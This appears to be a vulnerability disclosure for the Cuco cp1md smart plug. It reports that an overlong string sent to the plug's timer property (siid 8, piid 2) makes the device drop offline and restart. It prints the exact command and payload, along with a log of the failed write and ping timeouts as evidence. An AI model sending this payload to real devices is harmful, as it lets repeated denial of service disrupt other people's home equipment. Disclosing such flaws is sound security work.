Vendor: Cuco

Device: Cuco smart plug cp1md (*cuco.plug.cp1md*)

Firmware Version: 2.1.3_0010 (up to date)

****NOTE****：The device only uses Xiaomi Mi Home's MIoT protocol. The vulnerability is neither due to the Xiaomi Mi Home App nor Xiaomi's protocol, but rather to the device manufacturer's incorrect handling of the incoming MIoT protocol data. **Therefore, this vulnerability is not within the scope of Xiaomi's CNA.**

When a connection is established with the device using the Xiaomi Mi Home App, the device will enter offline mode when a specific command is sent to it (Fig.1).

In firmware version 2.1.3_0010, the device temporarily goes offline and automatically restarts after a short period, as shown in the attached Fig. 2 (demonstrating loss of ping responsiveness from another local network device). This behavior can be exploited repeatedly to cause ongoing disruptions, constituting a DoS attack.

The raw command is:

```
{'did': '690596497', 'siid': 8, 'piid': 2, 'value':
'QQQQQQQQQQQQQQQQQQQQAVVCCCCCCCCCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAXXXXXXXXXQQQQQQQQQQ
QQQQQQQQQQAVVCCCCCCCCCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAXXXXXXXXXBBBBBBBBBBBBBBBBBBBBB
B'}
```

According to the device's MIoT documentation, the parameters siid:8 and piid:2 accept a string for controlling the timing cycle of the plug. The issue likely stems from inadequate validation of the string length, resulting in a buffer overflow or similar memory corruption.

```
2025-12-10 18:19:49.435 WARNING (MainThread) [custom_components.xiaomi_miot.core.device.cuco.plug.cp1md] Set miot property {'did': '690596497',
 'siid': 8, 'piid': 2, 'value': 'QQQQQQQQQQQQQQQQQQQQAVVCCCCCCCCCAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAXXXXXXXXXQQQQQQQQQQQQQQQQQQQQAVVCCCCCCCCCAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAXXXXXXXXXBBBBBBBBBBBBBBBBBBBBB'} failed: Unable to discover the device 192.168.0.145
2025-12-10 18:19:51.163 ERROR (MainThread) [custom_components.xiaomi_miot.core.device.cuco.plug.cp1md] 电小酷智能插座CP1-AM(计电量): Unable to
discover the device 192.168.0.145, mapping: {'switch.on': {'siid': 2, 'piid': 1}, 'switch.voltage': {'siid': 2, 'piid': 3}, 'switch.electric_cu
rrent': {'siid': 2, 'piid': 4}, 'switch.power': {'siid': 4, 'piid': 2}, 'physical_controls_locked': {'siid': 6, 'piid': 1}}, max_properties: 1/
5
```

Fig. 1 Plaintext of the command that can trigger the device exception

```
64 bytes from 192.168.0.145: icmp_seq=478 ttl=255 time=7.072 ms
64 bytes from 192.168.0.145: icmp_seq=479 ttl=255 time=11.810 ms
64 bytes from 192.168.0.145: icmp_seq=480 ttl=255 time=8.807 ms
Request timeout for icmp_seq 481
Request timeout for icmp_seq 482
Request timeout for icmp_seq 483
Request timeout for icmp_seq 484
Request timeout for icmp_seq 485
Request timeout for icmp_seq 486
Request timeout for icmp_seq 487
Request timeout for icmp_seq 488
```

Fig. 2 Device temporary went offline and another device in the local network is unable to ping it.